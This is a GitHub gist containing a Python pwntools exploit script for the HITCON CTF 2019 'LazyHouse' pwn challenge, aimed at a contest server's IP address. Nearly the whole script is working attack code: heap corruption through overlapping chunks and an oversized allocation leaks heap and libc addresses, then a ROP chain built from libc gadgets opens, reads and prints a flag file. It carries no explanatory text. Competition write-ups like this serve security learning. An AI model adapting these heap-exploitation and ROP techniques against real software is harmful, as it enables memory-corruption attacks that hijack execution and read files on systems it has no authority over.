Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created October 19, 2019 06:57
Show Gist options
  • Save hama7230/85d459cedf16faf01bdd9515bd5b6627 to your computer and use it in GitHub Desktop.
Save hama7230/85d459cedf16faf01bdd9515bd5b6627 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals LazyHouse
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./lazyhouse')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "3.115.121.123"
RPORT = 5731
LHOST = "127.0.0.1"
LPORT = 21700
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./lazyhouse'], gdbscript=gdbscript)
else:
conn = process(['./lazyhouse'])
# conn = process(['./lazyhouse'], env={'LD_PRELOAD': ''})
if opt == 'a': gdb.attach(conn)
# exploit
log.info('Pwning')
def buy(idx, size, p):
conn.sendlineafter('choice', '1')
conn.sendlineafter('Index', str(idx))
conn.sendlineafter('Size', str(size))
conn.sendafter('House', p)
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
def show(idx):
conn.sendlineafter('choice', '2')
conn.sendlineafter('Index', str(idx))
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
def sell(idx):
conn.sendlineafter('choice', '3')
conn.sendlineafter('Index', str(idx))
def upgrade(idx, p):
conn.sendlineafter('choice', '4')
conn.sendlineafter('Index', str(idx))
conn.sendafter('House', p)
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
def a_super(p):
conn.sendlineafter('choice', '5')
conn.sendafter('House', p)
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
conn.sendlineafter('choice', '1')
conn.sendlineafter('Index', '0')
conn.sendlineafter('Size', str(0x12c9fb4d812c9fc))
conn.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$$$$$$')
conn.sendlineafter('choice', '3')
conn.sendlineafter('Index', '0')
buy(7, 0xe0, 'a')
buy(1, 0x90, 'a')
buy(2, 0x90, 'a')
buy(3, 0x90, 'c'*0x10 + p64(0xc0) + p64(0x20))
buy(5, 0x90, 'a')
buy(6, 0x90, 'a')
for i in range(7):
print i
buy(0, 0x90, 'a')
sell(0)
for i in range(7):
print i
buy(0, 0xb0, 'a')
sell(0)
buy(0, 0x217, '2')
sell(0)
sell(2)
upgrade(1, 'a'*0x98 + p64(0xc1))
buy(0, 0xb0, 'b'*0x98 + p64(0xa1))
sell(1)
sell(3)
conn.sendlineafter('choice', '2')
conn.sendlineafter('Index:', '0')
conn.recvuntil(p64(0xa1))
buf = conn.recv(0x10)
heap_base = u64(buf[0:8]) - 0x340
libc_base = u64(buf[8:16]) - 0x1e4ca0
dbg('libc_base')
dbg('heap_base')
buy(1, 0x90, 'a')
buy(3, 0x90, 'c'*0x10 + flat(0xc0, 0x21) + 'c'*0x18 + flat(0x21))
sell(0)
buy(0, 0xb0, 'a'*0x98 + p64(0xda1))
sell(3)
buy(2, 0x80, 'c'*0x18 + p64(0x21) + 'c'*0x18 + p64(0x21))
buy(3, 0x90, p64(0) + p64(0x21) + 'x'*0x18 + p64(heap_base + 0x40))
buy(4, 0x90, p64(0) + p64(0x31) + 'y'*0x10 + p64(heap_base + 0x40))
sell(5)
sell(6)
buy(5, 0x390, 'X')
sell(5)
sell(4)
sell(3)
sell(2)
for _ in range(3):
buy(2, 0x3a0, 'Y')
sell(2)
upgrade(7, '_'*0xe0 + p64(0x300) + p64(0xa0))
conn.interactive()
sell(7)
sell(1)
# 0x00047cf7: pop rax ; ret ; (15 found)
# 0x00026542: pop rdi ; ret ; (464 found)
# 0x0012bdc9: pop rdx ; pop rsi ; ret ; (1 found)
# 0x000cf6c5: syscall ; ret ; (12 found)
pop_rax = libc_base + 0x00047cf7
pop_rdi = libc_base + 0x00026542
pop_rdx_rsi = libc_base + 0x0012bdc9
syscall = libc_base + 0x000cf6c5
rop = flat(pop_rax, 2, pop_rdi, heap_base + 0x5f0, pop_rdx_rsi, 0, 0, syscall)
rop += flat(pop_rax, 0, pop_rdi, 3, pop_rdx_rsi, 0x100, heap_base, syscall)
rop += flat(pop_rax, 1, pop_rdi, 1, pop_rdx_rsi, 0x100, heap_base, syscall)
print len(rop)
rop += 'a'*0x10
rop += '/home/lazyhouse/flag\x00'
sell(0)
buy(0, 0x130, rop)
buy(2, 0xf0, 'a')
# buy(3, 0x80, p64(libc_base + 0x1e75a8)) # free_hook
buy(3, 0x80, p64(libc_base + 0x1e4c30))
# buy(3, 0x80, p64(libc_base + 0x1e5660))
# a_super(p64(libc_base + 0x00027d37))
# 0x00052a92: add rsp, 0x38 ; pop rbx ; pop rbp ; ret ; (5 found)
a_super(p64(libc_base + 0x00052a92) + 'z'*0x100 + 'a'*0xc8 + p64(heap_base))
#buy(6, heap_base, '')
conn.sendlineafter('choice', '1')
conn.sendlineafter('Index', '6')
conn.sendlineafter('Size', str(libc_base + 0x00110e44))
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment